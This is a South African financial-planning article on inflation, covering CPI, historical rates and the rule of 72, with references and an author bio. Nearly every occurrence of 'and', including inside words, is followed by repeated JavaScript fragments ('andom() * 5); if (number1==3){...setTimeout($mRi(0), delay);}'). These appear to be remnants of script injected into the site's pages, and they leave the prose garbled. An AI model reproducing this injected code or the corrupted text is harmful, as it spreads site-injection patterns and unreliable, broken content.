Protect Your Money From Inflation

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Inflation is a term that most people know, yet few understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and it well enough to see the threat that it poses to their investments.

This article will attempt to shed some light on why keeping your money under your mattress might not be such a great idea.

Inflation can be defined as an increase in the general level of prices of goods andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and services in an economy, which leads to the subsequent erosion of the purchasing power of money over a period of time.

In other words inflation leads to higher prices andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and lower purchasing power.

This weakening of your moneys’ purchasing power is what ultimately poses the largest threat, as this decreases your ability to pay for goods andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and services.

Price inflation is typically measured by using the consumer price index (CPI).

The CPI takes a constant basket of goods andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and sees how the price changes from year to year.

If the price of the basket of goods increases, then there is price inflation. If the price of the basket of goods decreases, there is deflation.

Example of the effect of inflation:

If you pay R500.00 for a basket of groceries today andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and over the following year there is a subsequent inflation rate of 5%, you will pay R525.00 for the same basket of groceries the following year.

CPI as per August 2012 in South Africa is 5%.

Historically, from 1981 until 2012, the South Africa inflation rate averaged at 9.68 %, reaching an all time high of 20.80% in January of 1986 andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a record low of 0.10% in January of 2004.

The rule of 72

The rule of 72 is a guideline that can be used to determine how long it will take for the purchasing power of money to halve in value at a given inflation rate andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is calculated as follows:

72 ÷ Present inflation rate

Example:

At an assumed average inflation rate of 6% per annum the purchasing power of your money will halve in 12 years.

72 ÷ 6 = 12 years

Based on the above calculation at an inflation rate of 6% per annum, R100 000 12 years from now will only be able to buy what R50 000 can buy today.

This is why it is of the utmost importance to ensure that you choose the right investment vehicles as well as underlying funds for the purpose of your investments.

Your main objective should be to at least maintain, if not preferably increase the purchasing power of your money.

You should therefore be realistic about the assumptions that you make in terms of inflation.

Asset class allocation is crucial when it comes to beating inflation, as by investing too conservatively over long time frames investors could fall short of their investment goals andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and their money could erode.

This is why it is important for investors to determine the purpose for investment as well as the timeframe so as to make the correct asset allocations in order to hedge against the effects of inflation.

Inflation is an economic fact of life andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and will always impact the investment environment.  For this reason it is important for investors to understandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the impacts of inflation andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and structure their portfolios accordingly.

 

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References:

Botha, M. et al., (2012). The South African Financial Planning Handom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andbook 2012. Durban: LexisNexis. 532.
Carter McBride. (2012). How Does Inflation Effect The Purchasing Power of Money?. Available: http://smallbusiness.chron.com/inflation-effect-purchasing-power-money-696.html. Last accessed 13th September 2012.
Cloete, S. et al. (2012). Premiums & Problems. Cape Town: Old Mutual. B13.
Richard Loth. (2007). The Ins And Outs Of Inflation. Available: http://www.forbes.com/2007/08/07/inflation-cpi-fasb-pf-education-in_rl_0807investopedia_inl.html. Last accessed 13th September 2012.
Statistics South Africa. (2012). South African Inflation Rate. Available: http://www.tradingeconomics.com/south-africa/inflation-cpi. Last accessed 13th September 2012.

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About Author

Raul Jorge is a CFP® professional at PSG. He specialises in estate, investment, retirement and risk planning. Prior to joining PSG, Raul completed his BSc (Honours) in Business Administration through the University of Wales and more recently completed his Postgraduate Diploma in Financial Planning through the University of Stellenbosch.